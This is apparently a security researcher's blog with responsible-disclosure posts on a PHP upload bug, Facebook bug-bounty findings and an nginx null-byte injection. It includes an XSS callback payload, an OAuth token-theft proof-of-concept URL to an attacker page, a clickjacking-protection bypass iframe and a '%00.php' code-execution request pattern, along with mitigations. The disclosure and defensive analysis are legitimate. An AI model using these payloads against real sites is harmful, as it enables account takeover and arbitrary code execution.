However, under normal circumstances PHP sanitizes the name parameter of the $_FILES array to prevent directory traversal attacks. That’s a language feature which developers may be relying on for security and which PHP’s maintainers have released security patches for in the past. Just a few months ago, Krzysztof Kotowicz discovered an off-by-one error in PHP’s file upload sanitization routine which made it possible for an attacker to write to the root of a drive. That bug, #54939, was fixed in PHP 5.3.7.

Workarounds

If you have a vulnerable script, you can mitigate the attack by calling basename on the user-provided filename. It should also be possible to detect malicious requests because of the mangled index names.

Edit: Adam pointed out an older bug report referencing the array corruption issue and potential for security concerns. I’ve updated the post to reflect the new information.

2011
08.25

Introduction

In the past few weeks, I’ve reported a number of security vulnerabilities to Facebook as a part of its Security Bug Bounty program. While a few of the issues I reported were standard web application vulnerabilities (ie: a DOM-based XSS, an endpoint on the Developers site that did not enforce CSRF protection), others were a bit less common and exploiting them was more challenging. Those less common vulnerabilities are the focus of this blog post; my goal is to describe the vulnerable code and the constraints that I faced, as well as to explain how I ultimately exploited the vulnerability.

1. Constructing a multi-line JavaScript URI

This example involved a reflected XSS vulnerability on https://www.facebook.com/connect/prompt_feed.php using a query string parameter called callback. The parameter was meant to be a URL which users would be redirected to via JavaScript (setting document.location) after submitting the form or hitting the Skip button on the page. However, the URL wasn’t validated very strictly on the backend: the only restriction I ran into was the need for a dot character, which led me to transform my initial alert(1) payload into window.alert(1).

My first instinct was to try something simple like javascript:window.alert(1). However, I found out the JavaScript on the page was parsing and transforming my callback URL before using it. My input was considered a relative URL, which caused a new URL to be generated that looked like https://www.facebook.com/javascript:window.alert(1). The same thing happened if I tried prefixing my URL with whitespace. I then tried javascript://window.alert(1), which was correctly parsed (albeit with a slash appended). That posed an issue since the double slashes were being treated as a comment in JavaScript (and were preventing me from using other protocols, like data or vbscript).

To work around the comment, I introduced newline characters before my payload. This technique was apparently very effective in 2007 (see http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248) but I could only get it to work in Safari 5.1 (I also tested it in IE 6/7/8/9, Firefox 5, and Chrome 13 on Windows). I also stuck // at the end of my payload to remove the trailing slash.

In the end, my exploitable callback parameter looked like this:

1
callback=javascript://anything%0D%0A%0D%0Awindow.alert(1)//

2. Redirects preserve fragment portion of URL

This example had two separate but equally important parts:

  1. I needed a way to generate an OAuth token for a particular application as the currently logged in user. To do that, I made a call to https://www.facebook.com/connect/uiserver.php with the target application’s ID. For the ‘next’ URL parameter, I needed a URL that was considered a valid callback location by the application. Luckily, all applications allowed redirects to Facebook.com. The token information was appended to the URL via the fragment (ie: http://www.facebook.com/#access_token=…).
  2. I then needed a way to redirect the user from Facebook.com to a third-party site. To do so, I set up my own application with my site as the domain. I then used https://www.facebook.com/extern/login_status.php to redirect users to my site via a 302 redirect.

Remember the fragment from step 1, which contained a user OAuth token for an application? Despite the fact that the fragment was never sent to the server, some browsers preserved it in the URL across the redirect (even cross-origin). As a result, I was able to read the fragment via JavaScript, giving me access to an OAuth token that didn’t belong to my application.

My proof of concept URL looked like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
https://www.facebook.com/connect/uiserver.php?
app_id=VICTIM_APP_ID&
method=permissions.request&
display=page&
next=https%3A%2F%2Fwww.facebook.com%2Fextern%2Flogin_status.php%3F
    app_id%3DMY_EVIL_APP_ID%26
    no_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html%26
    ok_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html&
response_type=token&
fbconnect=1

I personally verified this behavior (that the fragment was preserved over cross-origin redirects) in Firefox 5 and Chrome 13. I also verified that IE9 does not exhibit the same behavior. According to a Microsoft blog post, this behavior also exists in Opera but not in Safari. For anyone who’s interested in exploring further, Fiddler set up some test cases to demonstrate the behavior. This StackOverflow question also has some good information on the subject.

3. XSS Filters can be used to bypass clickjacking

This example is actually not about an issue that I reported to Facebook. Instead, it’s about an interesting portion of Facebook’s clickjacking prevention that I recently noticed.

Facebook, as some sites have noted, does not use the X-Frame-Options header to prevent clickjacking on most pages. Instead, it relies on a bit of JavaScript which I’ve de-obfuscated and reproduced below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="text/javascript">
/*<![CDATA[*/


function si_cj(m) {
    setTimeout(function() {
        new Image().src = "http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=1273" + "&m=" + m;
    }, 5000);
}
if (top != self) {
    try {
        if (parent != top) {
            throw 1;
        }
        var si_cj_d = ["apps.facebook.com", "\/pages\/", "apps.beta.facebook.com"];
        var href = top.location.href.toLowerCase();
        for (var i = 0; i < si_cj_d.length; i++) {
            if (href.indexOf(si_cj_d[i]) >= 0) {
                throw 1;
            }
        }
        si_cj("3 ");
    } catch (e) {
        si_cj("1 \t");
        window.document.write("\u003cstyle>body * {display:none !important;}\u003c\/style>\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003ci class=\"img sp_264sql sx_c60685\" style=\"display:block !important\">\u003c\/i>Go to Facebook.com\u003c\/a>"); /*_UIBLMIm*/
    }
} /*]]>*/
</script>

The part of the code that I want to highlight is a seemingly simple comment: /*_UIBLMIm*/ (you may have to scroll to see it). This comment is included at the end of the last line of the catch block. It’s actually not a static comment, as it might at first appear: the value inside of it changes on every pageview.

Why does it behave that way? Because of XSS filters.

We can look to “Busting frame busting,” an excellent research paper on clickjacking from 2010, for a more thorough explanation. In Section 3.4, the authors describe the ways in which XSS filters in different browsers can impact JavaScript-based framebusting code. In the case of XSSAuditor, which is used in Chrome and Safari, an attacker can target and disable a particular block of JavaScript (for instance, a block containing clickjacking prevention code). I’ve quoted the relevant information from the paper below:

The XSSAuditor filter deployed in Google Chrome, gives the attacker the ability to selectively cancel a particular script block. By matching the entire contents of a specific inline script, XSSAuditor disables it.

This enables the framing page to specifically target a snippet containing the frame busting code, leaving all the other functionalities intact. XSSAuditor can be used to target external scripts as well, but the filter will only disable targeted scripts loaded from a separate origin.

Example. victim frame busting code:

1
2
3
if (top != self) {
top.location=self.location;
}

Attacker:

1
2
<iframe src="http://www.victim.com/?
v=if (top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">

Here the Google Chrome XSS filter will disable the frame busting script, but will leave all other scripts on the page operational. Consequently, the framed page will function properly, suggesting that the attack on Google Chrome is more effective than the attack on IE8.

So by adding the randomized comment, Facebook prevents an attacker from being able to include the clickjacking prevention JavaScript in the URL, which makes it impossible to disable the clickjacking protection via XSSAuditor.

Conclusion

I’d like to thank the Facebook Security Team for their quick responses to my reports. I’d also like to thank them for organizing this security bug bounty program and for supporting responsible disclosure in general.

2011
08.24

After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.

1
2
3
4
5
6
# This location block will prevent an attacker from exploiting
# this vulnerability using files in the 'uploads' or 'other_uploads' directory
location ~ ^/(uploads|other_uploads)/.*.php$
{
    deny all;
}

Although the affected versions of nginx are relatively old (0.7.66 was released June 7th, 2010, 0.8.38 was released May 24th 2010), no mention of the change appears in the release notes. As a result, administrators may be running vulnerable servers without realizing their risk. I discovered a couple places where vulnerable packages were being distributed:

  1. Ubuntu Lucid Lynx (Ubuntu’s current LTS offering) and Hardy Heron (via both the hardy and hardy-backports repositories) provided vulnerable versions of nginx via apt-get. The lucid and hardy packages have been updated: hardy-backports is awaiting approval. [1] [2]
  2. Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.

I sent several emails to igor@sysoev.ru regarding the vulnerability. I sent the first on June 24th and I sent followups on July 4th, July 20th, and August 2nd. I received the following reply to my August 2nd email:

Thank you for report.

I do not consider this as nginx security issue since every application
should validate its input data, so nginx passed the data to application.
Also this is PHP installation issue where scripts and user uploaded
data are not separated. This issue was discussed several times on mailing
 list.

At some point I’ve decided that zero byte in URI should not appear
in any encoding, operating system, etc., and just makes more problems
than helps. So I have remove zero byte test.

For anyone who’s curious, the changes can be found at r3528 from svn://svn.nginx.org. At that time, it appears trunk corresponded to nginx 0.8: r3599 merged r3528 into the nginx 0.7 branch. The corresponding commit message is “remove r->zero_in_uri.” I’ve reproduced the output of svn diff below:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
#!/usr/bin/diff
Index: src/http/ngx_http_request.h
===================================================================
--- src/http/ngx_http_request.h (revision 3527)
+++ src/http/ngx_http_request.h (revision 3528)
@@ -56,7 +56,7 @@
 #define NGX_HTTP_PARSE_INVALID_HEADER      13


-#define NGX_HTTP_ZERO_IN_URI               1
+/* unused                                  1 */
 #define NGX_HTTP_SUBREQUEST_IN_MEMORY      2
 #define NGX_HTTP_SUBREQUEST_WAITED         4
 #define NGX_HTTP_LOG_UNSAFE                8
@@ -435,9 +435,6 @@
     /* URI with "+" */
     unsigned                          plus_in_uri:1;

-    /* URI with "\0" or "%00" */
-    unsigned                          zero_in_uri:1;
-
     unsigned                          invalid_header:1;

     unsigned                          valid_location:1;
Index: src/http/ngx_http_core_module.c
===================================================================
--- src/http/ngx_http_core_module.c (revision 3527)
+++ src/http/ngx_http_core_module.c (revision 3528)
@@ -1341,7 +1341,7 @@

     /* no content handler was found */

-    if (r->uri.data[r->uri.len - 1] == '/' && !r->zero_in_uri) {
+    if (r->uri.data[r->uri.len - 1] == '/') {

         if (ngx_http_map_uri_to_path(r, &path, &root, 0) != NULL) {
             ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
@@ -2104,7 +2104,6 @@
     ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c->log, 0,
                    "http subrequest \"%V?%V\"", uri, &sr->args);

-    sr->zero_in_uri = (flags & NGX_HTTP_ZERO_IN_URI) != 0;
     sr->subrequest_in_memory = (flags & NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;
     sr->waited = (flags & NGX_HTTP_SUBREQUEST_WAITED) != 0;

Index: src/http/ngx_http_special_response.c
===================================================================
--- src/http/ngx_http_special_response.c    (revision 3527)
+++ src/http/ngx_http_special_response.c    (revision 3528)
@@ -517,8 +517,6 @@

     r->err_status = overwrite;

-    r->zero_in_uri = 0;
-
     if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {
         return NGX_ERROR;
     }
Index: src/http/ngx_http_upstream.c
===================================================================
--- src/http/ngx_http_upstream.c    (revision 3527)
+++ src/http/ngx_http_upstream.c    (revision 3528)
@@ -1815,10 +1815,6 @@
             return NGX_DONE;
         }

-        if (flags & NGX_HTTP_ZERO_IN_URI) {
-            r->zero_in_uri = 1;
-        }
-
         if (r->method != NGX_HTTP_HEAD) {
             r->method = NGX_HTTP_GET;
         }
Index: src/http/ngx_http_parse.c
===================================================================
--- src/http/ngx_http_parse.c   (revision 3527)
+++ src/http/ngx_http_parse.c   (revision 3528)
@@ -438,8 +438,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             default:
                 state = sw_check_uri;
                 break;
@@ -496,8 +495,7 @@
                 r->plus_in_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -526,8 +524,7 @@
                 r->complex_uri = 1;
                 break;
             case '\0':
-                r->zero_in_uri = 1;
-                break;
+                return NGX_HTTP_PARSE_INVALID_REQUEST;
             }
             break;

@@ -1202,7 +1199,7 @@
                     ch = *p++;

                 } else if (ch == '\0') {
-                    r->zero_in_uri = 1;
+                    return NGX_HTTP_PARSE_INVALID_REQUEST;
                 }

                 state = quoted_state;
@@ -1304,8 +1301,7 @@
         }

         if (ch == '\0') {
-            *flags |= NGX_HTTP_ZERO_IN_URI;
-            continue;
+            goto unsafe;
         }

         if (ngx_path_separator(ch) && len > 2) {
@@ -1449,34 +1445,19 @@
 void
 ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)
 {
-    u_char  ch, *p, *last;
+    u_char  *p, *last;

-    p = uri->data;
+    last = uri->data + uri->len;

-    last = p + uri->len;
+    p = ngx_strlchr(uri->data, last, '?');

-    args->len = 0;
+    if (p) {
+        uri->len = p - uri->data;
+        p++;
+        args->len = last - p;
+        args->data = p;

-    while (p < last) {
-
-        ch = *p++;
-
-        if (ch == '?') {
-            args->len = last - p;
-            args->data = p;
-
-            uri->len = p - 1 - uri->data;
-
-            if (ngx_strlchr(p, last, '\0') != NULL) {
-                r->zero_in_uri = 1;
-            }
-
-            return;
-        }
-
-        if (ch == '\0') {
-            r->zero_in_uri = 1;
-            continue;
-        }
+    } else {
+        args->len = 0;
     }
 }
Index: src/http/modules/ngx_http_gzip_static_module.c
===================================================================
--- src/http/modules/ngx_http_gzip_static_module.c  (revision 3527)
+++ src/http/modules/ngx_http_gzip_static_module.c  (revision 3528)
@@ -89,10 +89,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);

     if (!gzcf->enable) {
Index: src/http/modules/ngx_http_index_module.c
===================================================================
--- src/http/modules/ngx_http_index_module.c    (revision 3527)
+++ src/http/modules/ngx_http_index_module.c    (revision 3528)
@@ -116,10 +116,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);
     clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

Index: src/http/modules/ngx_http_random_index_module.c
===================================================================
--- src/http/modules/ngx_http_random_index_module.c (revision 3527)
+++ src/http/modules/ngx_http_random_index_module.c (revision 3528)
@@ -86,10 +86,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/ngx_http_dav_module.c
===================================================================
--- src/http/modules/ngx_http_dav_module.c  (revision 3527)
+++ src/http/modules/ngx_http_dav_module.c  (revision 3528)
@@ -146,10 +146,6 @@
     ngx_int_t                 rc;
     ngx_http_dav_loc_conf_t  *dlcf;

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);

     if (!(r->method & dlcf->methods)) {
Index: src/http/modules/ngx_http_flv_module.c
===================================================================
--- src/http/modules/ngx_http_flv_module.c  (revision 3527)
+++ src/http/modules/ngx_http_flv_module.c  (revision 3528)
@@ -80,10 +80,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     rc = ngx_http_discard_request_body(r);

     if (rc != NGX_OK) {
Index: src/http/modules/ngx_http_static_module.c
===================================================================
--- src/http/modules/ngx_http_static_module.c   (revision 3527)
+++ src/http/modules/ngx_http_static_module.c   (revision 3528)
@@ -66,10 +66,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     log = r->connection->log;

     /*
Index: src/http/modules/ngx_http_autoindex_module.c
===================================================================
--- src/http/modules/ngx_http_autoindex_module.c    (revision 3527)
+++ src/http/modules/ngx_http_autoindex_module.c    (revision 3528)
@@ -160,10 +160,6 @@
         return NGX_DECLINED;
     }

-    if (r->zero_in_uri) {
-        return NGX_DECLINED;
-    }
-
     if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) {
         return NGX_DECLINED;
     }
Index: src/http/modules/perl/ngx_http_perl_module.c
===================================================================
--- src/http/modules/perl/ngx_http_perl_module.c    (revision 3527)
+++ src/http/modules/perl/ngx_http_perl_module.c    (revision 3528)
@@ -168,10 +168,6 @@
 static ngx_int_t
 ngx_http_perl_handler(ngx_http_request_t *r)
 {
-    if (r->zero_in_uri) {
-        return NGX_HTTP_NOT_FOUND;
-    }
-
     r->main->count++;

     ngx_http_perl_handle_request(r);